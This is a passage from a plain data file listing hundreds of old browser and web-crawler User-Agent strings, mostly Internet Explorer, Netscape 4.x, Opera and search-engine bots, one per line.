3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe/20.0.1132.57; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; Media Center PC 5.0; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; AskTbGOM2/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB6.6; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Media Center PC 5.0; SLCC1; Tablet PC 2.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB6; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; AskTbIJBME/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB7.4; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; SLCC2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62\nMozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00\nMozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NE\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)\nMozilla/4.0 (compatible; MSIE enviable; DAUMOA 2.0; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.net/aboutkr.html)\nMozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea)\nMozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322); Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727); Windows NT 5.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727); Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414; Windows NT 5.1)\nMozilla/4.0 (compatible; Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729); Windows NT 5.1; Trident/4.0)\nMozilla/4.0 (compatible; Mozilla/5.0 ; Linux i686)\nMozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/delete_main.asp)\nMozilla/4.0 (compatible; NetPromoter Spider;http://www.net-promoter.com/)\nMozilla/4.0 (compatible; Netcraft Web Server Survey)\nMozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]\nMozilla/4.0 (compatible; Powermarks/3.5; Windows 95/98/2000/NT)\nMozilla/4.0 (compatible; RSS Popper)\nMozilla/4.0 (compatible; SPENG)\nMozilla/4.0 (compatible; SiteKiosk 4.0; MSIE 5.0; Windows 98; SiteCoach 1.0)\nMozilla/4.0 (compatible; SpeedySpider; www.entireweb.com)\nMozilla/4.0 (compatible; SuperCleaner 2.xx; Windows 98)\nMozilla/4.0 (compatible; Synapse)\nMozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1)\nMozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) (Compatible;  ;  ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; WSN Links)\nMozilla/4.0 (compatible; WebCapture 3.0; Macintosh)\nMozilla/4.0 (compatible; WebCapture 3.0; Windows)\nMozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nMozilla/4.0 (compatible; Windows Mobile; WCE; Opera Mobi/WMD-50433; U; de) Presto/2.4.13 Version/10.00\nMozilla/4.0 (compatible; Windows NT 5.1; U; en)\nMozilla/4.0 (compatible; Y!J; for robot study; keyoshid)\nMozilla/4.0 (compatible; Yahoo Japan; for robot study; kasugiya)\nMozilla/4.0 (compatible; Zealbot 1.0)\nMozilla/4.0 (compatible; crawlx, crawler@trd.overture.com)\nMozilla/4.0 (compatible; grub-client-0.2.x; Crawl your stuff with http://grub.org)\nMozilla/4.0 (compatible; grub-client-0.3.x; Crawl your own stuff with http://grub.org)\nMozilla/4.0 (compatible; grub-client-2.x)\nMozilla/4.0 (compatible; ibisBrowser)\nMozilla/4.0 (compatible; www.euro-directory.com; urlchecker1.0)\nMozilla/4.0 (compatible; www.galaxy.com)\nMozilla/4.0 (compatible; www.linkguard.com Linkguard Online 1.0; Windows NT)\nMozilla/4.0 (compatible;MSIE 5.5; Windows 98)\nMozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.0; H010818)\nMozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461)\nMozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0)\nMozilla/4.0 (fantomBrowser)\nMozilla/4.0 (fantomCrew Browser)\nMozilla/4.0 (hhjhj@yahoo.com)\nMozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240x320; Sprint:PPC-6700; PPC; 240x320)\nMozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)\nMozilla/4.0 [en] (Ask Jeeves Corporate Spider)\nMozilla/4.0 compatible FurlBot/Furl Search 2.0 (FurlBot; http://www.furl.net; wn.furlbot@looksmart.net)\nMozilla/4.0 compatible ZyBorg/1.0 (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\nMozilla/4.0 compatible ZyBorg/1.0 for Homepage (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com)\nMozilla/4.0 efp@gmx.net\nMozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)\nMozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)\nMozilla/4.0(compatible; Zealbot 1.0)\nMozilla/4.01 (compatible; MSIE 6.0; Windows NT 5.1)\nMozilla/4.01 (compatible; NORAD National Defence Network)\nMozilla/4.01 [de] (WinNT; I)\nMozilla/4.01 [en] (Win95; I)\nMozilla/4.01 [en](Win95;I)\nMozilla/4.02 [en] (X11; I; SunOS 5.6 sun4u)\nMozilla/4.03 [fr] (Win95; U)\nMozilla/4.04 (compatible; Dulance bot; +http://www.dulance.com/bot.jsp)\nMozilla/4.04 [de] (WinNT; I ;Nav)\nMozilla/4.04 [en] (Win95; I ;Nav)\nMozilla/4.04 [en] (WinNT; I)\nMozilla/4.04 [en] (WinNT; U)\nMozilla/4.04 [en] (X11; I; HP-UX B.10.20 9000/712)\nMozilla/4.04 [en] (X11; I; IRIX 5.3 IP22)\nMozilla/4.04 [fr] (Macintosh; I; PPC, Nav)\nMozilla/4.05 (Macintosh; I; 68K Nav)\nMozilla/4.05 (Macintosh; I; PPC Nav)\nMozilla/4.05 [de] (Win95; I)\nMozilla/4.05 [en] (Win95; I)\nMozilla/4.05 [en] (X11; I; Linux 2.0.33 i586)\nMozilla/4.05 [en] (X11; I; SunOS 4.1.4 sun4m)\nMozilla/4.06 (Win95; I)\nMozilla/4.06 [de] (Win98; I)\nMozilla/4.06 [de] (WinNT; I)\nMozilla/4.06 [en] (WinNT; I ;Nav)\nMozilla/4.06 [en] (WinNT; I)\nMozilla/4.06 [en] (X11; I; Linux 2.0.35 i686)\nMozilla/4.06 [en] (X11; U; Linux 2.0.27 i586)\nMozilla/4.06 [hu] (Win98; I)\nMozilla/4.07 [de] (Win95; I)\nMozilla/4.07 [de] (Win98; I)\nMozilla/4.07 [en] (WinNT; I)\nMozilla/4.07 [en] (WinNT; U ;Nav)\nMozilla/4.07 [en] (X11; I; Linux 2.0.36 i586)\nMozilla/4.07 [fr] (Win95; I)\nMozilla/4.08 (Charon; Inferno)\nMozilla/4.08 (Macintosh; I; PPC, Nav)\nMozilla/4.08 (compatible; MSIE 6.0; Windows NT 5.1)\nMozilla/4.08 [de] (WinNT; I)\nMozilla/4.08 [en] (Win95; I ;Nav)\nMozilla/4.08 [en] (Win98; I ;Nav)\nMozilla/4.08 [en] (Win98; U ;Nav)\nMozilla/4.08 [en] (WinNT; I ;Nav)\nMozilla/4.08 [en] (WinNT; U ;Nav)\nMozilla/4.08 [en] (WinNT; U)\nMozilla/4.0_(compatible;_MSIE_5.0;_Windows_95)_TrueRobot/1.4 libwww/5.2.8\nMozilla/4.0_(compatible;_MSIE_5.0;_Windows_95)_VoilaBot/1.6 libwww/5.3.2\nMozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]\nMozilla/4.41  (BEOS; U ;Nav)\nMozilla/4.5 (Macintosh; U; PPC)\nMozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)\nMozilla/4.5 (compatible; OmniWeb/4.0.5; Mac_PowerPC)\nMozilla/4.5 (compatible; OmniWeb/4.1-beta-1; Mac_PowerPC)\nMozilla/4.5 (compatible; OmniWeb/4.1-v422; Mac_PowerPC)\nMozilla/4.5 (compatible; OmniWeb/4.1.1-v424.6; Mac_PowerPC)\nMozilla/4.5 (compatible; OmniWeb/4.2-v435.5; Mac_PowerPC)\nMozilla/4.5 (compatible; OmniWeb/4.2.1-v435.9; Mac_PowerPC)\nMozilla/4.5 (compatible; iCab 2.5.3; Macintosh; I; PPC)\nMozilla/4.5 (compatible; iCab 2.8.1; Macintosh; I; PPC)\nMozilla/4.5 (compatible; iCab 2.9.1; Macintosh; U; PPC)\nMozilla/4.5 (compatible; iCab 2.9.1; Macintosh; U; PPC; Mac OS X)\nMozilla/4.5 (compatible; iCab 2.9.5; Macintosh; U; PPC; Mac OS X)\nMozilla/4.5 (compatible; iCab 2.9.9; Macintosh; U; 68K)\nMozilla/4.5 RPT-HTTPClient/0.3-2\nMozilla/4.5 [de] (Macintosh; I; PPC)\nMozilla/4.5 [de] (Win98; I)\nMozilla/4.5 [de] (WinNT; I)\nMozilla/4.5 [en] (Win95; I)\nMozilla/4.5 [en] (Win98; I)\nMozilla/4.5 [en] (WinNT; I)\nMozilla/4.5 [en] (WinNT; U)\nMozilla/4.5 [en] (X11; I; Linux 2.2.16 i586)\nMozilla/4.5 [en] (X11; I; SunOS 5.6 sun4u)\nMozilla/4.5 [en] (X11; I; SunOS 5.7 sun4u)\nMozilla/4.5 [en] (X11; I; SunOS 5.8 sun4u)\nMozilla/4.5 [en]C-CCK-MCD {RuralNet} (Win98; I)\nMozilla/4.5 [es] (Win98; I)\nMozilla/4.5 [fr] (Macintosh; I; PPC)\nMozilla/4.5 [fr] (Macintosh; U; PPC)\nMozilla/4.5 [fr] (Win95; I)\nMozilla/4.5 [fr] (Win98; I)\nMozilla/4.5 [it] (Win98; I)\nMozilla/4.51 (Macintosh; I; PPC)\nMozilla/4.51 [de] (Win95; I)\nMozilla/4.51 [de] (Win98; I)\nMozilla/4.51 [de] (WinNT; I)\nMozilla/4.51 [en] (Win95; I)\nMozilla/4.51 [en] (Win98; U)\nMozilla/4.51 [en] (WinNT; I)\nMozilla/4.51 [en] (X11; I; Linux 2.2.5 i686)\nMozilla/4.51 [en] (X11; I; Linux 2.2.7 i686)\nMozilla/4.51 [fr] (Win95; I)\nMozilla/4.51 [it] (Win98; U)\nMozilla/4.5b1 [en] (X11; I; Linux 2.0.35 i586)\nMozilla/4.6 (Macintosh; I; PPC)\nMozilla/4.6 (Macintosh; U; PPC)\nMozilla/4.6 [de] (Win95; I)\nMozilla/4.6 [de] (Win98; I)\nMozilla/4.6 [de] (WinNT; I)\nMozilla/4.6 [en] (Win95; I)\nMozilla/4.6 [en] (Win98; I)\nMozilla/4.6 [en] (WinNT; I)\nMozilla/4.6 [en] (X11; I; SunOS 5.5.1 sun4u; Nav)\nMozilla/4.6 [en] (X11; I; SunOS 5.8 sun4u)\nMozilla/4.6 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.6 [en] (http://www.cnet.com/)\nMozilla/4.6 [fr] (Win95; I)\nMozilla/4.6 [fr] (WinNT; I)\nMozilla/4.61 (Macintosh; I; PPC)\nMozilla/4.61 [de] (OS/2; I)\nMozilla/4.61 [de] (OS/2; U)\nMozilla/4.61 [en] (OS/2; I)\nMozilla/4.61 [en] (OS/2; U)\nMozilla/4.61 [en] (Win95; I)\nMozilla/4.61 [en] (Win98; I)\nMozilla/4.61 [en] (WinNT; I)\nMozilla/4.61 [en] (X11; I; Linux 2.2.12-20 i686; Nav)\nMozilla/4.61 [en] (X11; I; SunOS 5.6 sun4u)\nMozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)\nMozilla/4.61 [fi] (OS/2; I)\nMozilla/4.61 [ja] (X11; I; Linux 2.6.13-33cmc1 i686)\nMozilla/4.7\nMozilla/4.7 (Macintosh; I; PPC)\nMozilla/4.7 (X11; Linux)\nMozilla/4.7 (compatible; Intelliseek; http://www.intelliseek.com)\nMozilla/4.7 (compatible; OffByOne; Windows 98) Webster Pro V3.2\nMozilla/4.7 (compatible; WhizBang; http://www.whizbang.com/crawler)\nMozilla/4.7 (compatible; Whizbang)\nMozilla/4.7 (compatible; http://eidetica.com/spider)\nMozilla/4.7 [ca] (Win98; I)\nMozilla/4.7 [de] (Win95; I)\nMozilla/4.7 [de] (Win95; U)\nMozilla/4.7 [de] (Win98; I)\nMozilla/4.7 [de] (Win98; U)\nMozilla/4.7 [de] (WinNT; I)\nMozilla/4.7 [de] (WinNT; U)\nMozilla/4.7 [en-gb] (Win98; U)\nMozilla/4.7 [en-gb] (WinNT; I)\nMozilla/4.7 [en-gb] (WinNT; U)\nMozilla/4.7 [en] (Win95; I)\nMozilla/4.7 [en] (Win98; I)\nMozilla/4.7 [en] (WinNT; I)\nMozilla/4.7 [en] (WinNT; U)\nMozilla/4.7 [en] (Windows NT 6.0; U)\nMozilla/4.7 [en] (X11; I; Linux 2.2.12 i686; Nav)\nMozilla/4.7 [en] (X11; I; Linux 2.2.13 i586)\nMozilla/4.7 [en] (X11; I; Linux 2.2.13 i686; Nav)\nMozilla/4.7 [en] (X11; I; SunOS 5.6 sun4u)\nMozilla/4.7 [en] (X11; I; SunOS 5.7 sun4u)\nMozilla/4.7 [en] (X11; I; SunOS 5.8 sun4u)\nMozilla/4.7 [en] (X11; U; SunOS 5.6 sun4u)\nMozilla/4.7 [en](BecomeBot@exava.com)\nMozilla/4.7 [en](Exabot@exava.com)\nMozilla/4.7 [en]C-CCK-MCD {Yahoo;YIP052400} (Win95; I)\nMozilla/4.7 [fr] (Win95; I)\nMozilla/4.7 [fr] (Win98; I)\nMozilla/4.7 [fr] (Win98; U)\nMozilla/4.7 [fr] (WinNT; I)\nMozilla/4.71 [en] (Win98; I)\nMozilla/4.71 [en] (WinNT; I)\nMozilla/4.71 [en] (X11; U; Linux 2.0.36 i586)\nMozilla/4.72 (Macintosh; I; PPC)\nMozilla/4.72 (Macintosh; U; PPC)\nMozilla/4.72 [de] (Win95; U)\nMozilla/4.72 [de] (WinNT; U)\nMozilla/4.72 [de] (Windows NT 5.0; U)\nMozilla/4.72 [en] (BACS http://www.ba.be)\nMozilla/4.72 [en] (Win95; I)\nMozilla/4.72 [en] (Win98; I)\nMozilla/4.72 [en] (Win98; U)\nMozilla/4.72 [en] (Win98;I)\nMozilla/4.72 [en] (WinNT; I)\nMozilla/4.72 [en] (WinNT; U)\nMozilla/4.72 [en] (Windows NT 5.0; I)\nMozilla/4.72 [en] (Windows NT 5.0; U)\nMozilla/4.72 [en] (X11; I; HP-UX B.11.00 9000/800)\nMozilla/4.72 [en] (X11; I; Linux 2.2.13 i586)\nMozilla/4.72 [en] (X11; I; Linux 2.2.14 i586)\nMozilla/4.72 [en] (X11; I; Linux 2.2.14 i686)\nMozilla/4.72 [en] (X11; I; SunOS 5.7 sun4m)\nMozilla/4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)\nMozilla/4.72 [en] (X11; U; Linux 2.2.20 i586; Nav)\nMozilla/4.72 [fr] (X11; U; Linux 2.2.14-5.0 i686)\nMozilla/4.72C-CCK-MCD Caldera Systems OpenLinux [en] (X11; U; Linux 2.2.14 i686)\nMozilla/4.73 (Macintosh; I; PPC)\nMozilla/4.73 (Macintosh; U; PPC)\nMozilla/4.73 [de] (Win95; U)\nMozilla/4.73 [de] (Win98; U)\nMozilla/4.73 [de] (WinNT; U)\nMozilla/4.73 [de] (Windows NT 5.0; U)\nMozilla/4.73 [en] (Win95; I)\nMozilla/4.73 [en] (Win95; U)\nMozilla/4.73 [en] (Win98; I)\nMozilla/4.73 [en] (Win98; U)\nMozilla/4.73 [en] (WinNT; I)\nMozilla/4.73 [en] (WinNT; U)\nMozilla/4.73 [en] (Windows NT 5.0; I)\nMozilla/4.73 [en] (Windows NT 5.0; U)\nMozilla/4.73 [en] (X11; I; HP-UX B.10.20 9000/879)\nMozilla/4.73 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.74 (Macintosh; U; PPC)\nMozilla/4.74 [de] (X11; U; Linux 2.2.16 i586)\nMozilla/4.74 [de] (X11; U; Linux 2.2.16 i686)\nMozilla/4.74 [en] (Win95; U)\nMozilla/4.74 [en] (Win98; U)\nMozilla/4.74 [en] (WinNT; U)\nMozilla/4.74 [en] (Windows NT 5.0; U)\nMozilla/4.74 [en] (X11; U; Linux 2.2.16 i686)\nMozilla/4.75 (Macintosh; U; PPC)\nMozilla/4.75 (X11; I; Linux 2.2.14 i686)\nMozilla/4.75 [de] (Win95; U)\nMozilla/4.75 [de] (Win98; U)\nMozilla/4.75 [de] (WinNT; U)\nMozilla/4.75 [de] (Windows NT 5.0; U)\nMozilla/4.75 [en] (Win95; U)\nMozilla/4.75 [en] (Win98; U)\nMozilla/4.75 [en] (WinNT; U)\nMozilla/4.75 [en] (Windows NT 5.0; U)\nMozilla/4.75 [en] (X11; U; Linux 2.2.12-20 i586)\nMozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\nMozilla/4.75 [en] (X11; U; Linux 2.2.17 i686)\nMozilla/4.75 [en] (X11; U; OpenBSD 2.8 i386)\nMozilla/4.75 [en] (X11; U; SunOS 5.6 sun4u)\nMozilla/4.75 [en] (X11; U; SunOS 5.7 sun4u)\nMozilla/4.75 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.75 [fr] (Win95; U)\nMozilla/4.75 [fr] (Win98; U)\nMozilla/4.75 [fr] (WinNT; U)\nMozilla/4.75 [fr] (Windows NT 5.0; U)\nMozilla/4.75 [fr] (X11; U; Linux 2.2.16-22 i686)\nMozilla/4.75 [fr] (X11; U; Linux 2.2.16-3smp i686)\nMozilla/4.75 [pl] (X11; U; Linux 2.2.17-21mdk i686)\nMozilla/4.75C-ja [ja] (X11; U; OSF1 V5.1 alpha)\nMozilla/4.76 (Macintosh; U; PPC)\nMozilla/4.76 (Windows 98; U) Opera 5.12 [en]\nMozilla/4.76 (Windows NT 4.0; U) Opera 5.12  [en]\nMozilla/4.76 (Windows NT 4.0; U) Opera 6.0  [de]\nMozilla/4.76 (X11; U; Linux 2.4.10-4GB i686)\nMozilla/4.76 [de] (X11; U; Linux 2.2.18 i686)\nMozilla/4.76 [de] (X11; U; Linux 2.4.0-4GB i686)\nMozilla/4.76 [de] (X11; U; Linux 2.4.4-4GB i686; Nav)\nMozilla/4.76 [en] (Win95; U)\nMozilla/4.76 [en] (Win98; U)\nMozilla/4.76 [en] (WinNT; U)\nMozilla/4.76 [en] (Windows NT 5.0; U)\nMozilla/4.76 [en] (X11; U; FreeBSD 4.4-STABLE i386)\nMozilla/4.76 [en] (X11; U; HP-UX B.10.20 9000/782)\nMozilla/4.76 [en] (X11; U; Linux 2.2.16 i686)\nMozilla/4.76 [en] (X11; U; Linux 2.2.16-22 i686)\nMozilla/4.76 [en] (X11; U; Linux 2.2.19pre17 i686)\nMozilla/4.76 [en] (X11; U; Linux 2.4.0 i686)\nMozilla/4.76 [en] (X11; U; Linux 2.4.18p3 i686)\nMozilla/4.76 [en] (X11; U; Linux 2.4.20 i686)\nMozilla/4.76 [en] (X11; U; Linux 2.4.5 i686)\nMozilla/4.76 [en] (X11; U; Linux 2.4.9-34 i686)\nMozilla/4.76 [en] (X11; U; SunOS 5.7 sun4u)\nMozilla/4.76 [en] (X11; U; SunOS 5.8 i86pc)\nMozilla/4.76 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.76 [en] (X11; U; SunOS 5.8 sun4u; Nav)\nMozilla/4.76 [fr] (X11; U; Linux 2.4.2-2 i686)\nMozilla/4.76C-SGI [en] (X11; I; IRIX 6.5 IP32)\nMozilla/4.76C-SGI [en] (X11; I; IRIX64 6.5 IP30)\nMozilla/4.77 (Macintosh; U; PPC)\nMozilla/4.77 [de] (X11; U; Linux 2.4.2-2 i686)\nMozilla/4.77 [de] (X11; U; Linux 2.4.4-4GB i686)\nMozilla/4.77 [de] (X11; U; Linux 2.4.7-4GB i686)\nMozilla/4.77 [en] (Win95; U)\nMozilla/4.77 [en] (Win98; U)\nMozilla/4.77 [en] (WinNT; U)\nMozilla/4.77 [en] (Windows NT 5.0; U)\nMozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)\nMozilla/4.77 [en] (X11; U; HP-UX B.11.00 9000/800)\nMozilla/4.77 [en] (X11; U; Linux 2.2.14 i686)\nMozilla/4.77 [en] (X11; U; Linux 2.2.17 i586)\nMozilla/4.77 [en] (X11; U; Linux 2.2.19 i686)\nMozilla/4.77 [en] (X11; U; Linux 2.4.17-lsm i686)\nMozilla/4.77 [en] (X11; U; Linux 2.4.18-27.7.x i686)\nMozilla/4.77 [en] (X11; U; Linux 2.4.18-386 i686)\nMozilla/4.77 [en] (X11; U; Linux 2.4.19 i686; Nav)\nMozilla/4.77 [en] (X11; U; Linux 2.4.19-acheron i686; Nav)\nMozilla/4.77 [en] (X11; U; Linux 2.4.2-2 i686)\nMozilla/4.77 [en] (X11; U; Linux 2.4.20-bf2.4 i686)\nMozilla/4.77 [en] (X11; U; Linux 2.4.9 i686)\nMozilla/4.77 [en] (X11; U; Linux 2.4.9-a22m i686)\nMozilla/4.77 [en] (X11; U; SunOS 5.7 sun4u)\nMozilla/4.77 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.77 [fr] (X11; U; Linux 2.4.17 i686; Nav)\nMozilla/4.77 [fr] (X11; U; Linux 2.4.3-20mdk i686)\nMozilla/4.77 [fr] (X11; U; Linux 2.4.4-4GB i686)\nMozilla/4.77 [fr] (X11; U; Linux 2.4.9-34 i686)\nMozilla/4.77C-SGI [en] (X11; I; IRIX64 6.5 IP30)\nMozilla/4.77C-SGI [en] (X11; U; IRIX 6.5 IP32)\nMozilla/4.78 (Macintosh; U; PPC)\nMozilla/4.78 (Windows 2000; U) Opera 6.01  [en]\nMozilla/4.78 (Windows 2000; U) Opera 6.04  [de]\nMozilla/4.78 (Windows 98; U) Opera 6.05  [de]\nMozilla/4.78 (Windows NT 5.0; U) Opera 7.01  [en]\nMozilla/4.78 (Windows NT 5.0; U) Opera 7.11  [en]\nMozilla/4.78 (Windows NT 5.1; U) Opera 7.51  [en]\nMozilla/4.78 (Windows NT 5.1; U) Opera 7.54  [de]\nMozilla/4.78 (Windows XP; U) Opera 6.05  [de]\nMozilla/4.78 [de] (Win95; U)\nMozilla/4.78 [de] (Win98; U)\nMozilla/4.78 [de] (WinNT; U)\nMozilla/4.78 [de] (Windows NT 5.0; U)\nMozilla/4.78 [de] (X11; U; Linux 2.4.10-4GB i586)\nMozilla/4.78 [de] (X11; U; Linux 2.4.10-4GB i686)\nMozilla/4.78 [de] (X11; U; Linux 2.4.17 i686)\nMozilla/4.78 [de] (X11; U; Linux 2.4.7-10 i586)\nMozilla/4.78 [de] (X11; U; Linux 2.4.7-10 i686; Nav)\nMozilla/4.78 [de] (X11; U; Linux 2.4.7-10LIZ i686)\nMozilla/4.78 [en] (Win98; U)\nMozilla/4.78 [en] (WinNT; U)\nMozilla/4.78 [en] (Windows NT 5.0; U)\nMozilla/4.78 [en] (X11; U; HP-UX B.11.00 9000/785)\nMozilla/4.78 [en] (X11; U; Linux 2.2.13 i686)\nMozilla/4.78 [en] (X11; U; Linux 2.4.10-4GB i586)\nMozilla/4.78 [en] (X11; U; Linux 2.4.10-4GB i686)\nMozilla/4.78 [en] (X11; U; Linux 2.4.18-19.7.x i686)\nMozilla/4.78 [en] (X11; U; Linux 2.4.18-27.7.x i686)\nMozilla/4.78 [en] (X11; U; Linux 2.4.18-4GB i686)\nMozilla/4.78 [en] (X11; U; Linux 2.4.2 i386)\nMozilla/4.78 [en] (X11; U; Linux 2.4.20 i686; Nav)\nMozilla/4.78 [en] (X11; U; Linux 2.4.20-18.7 i686)\nMozilla/4.78 [en] 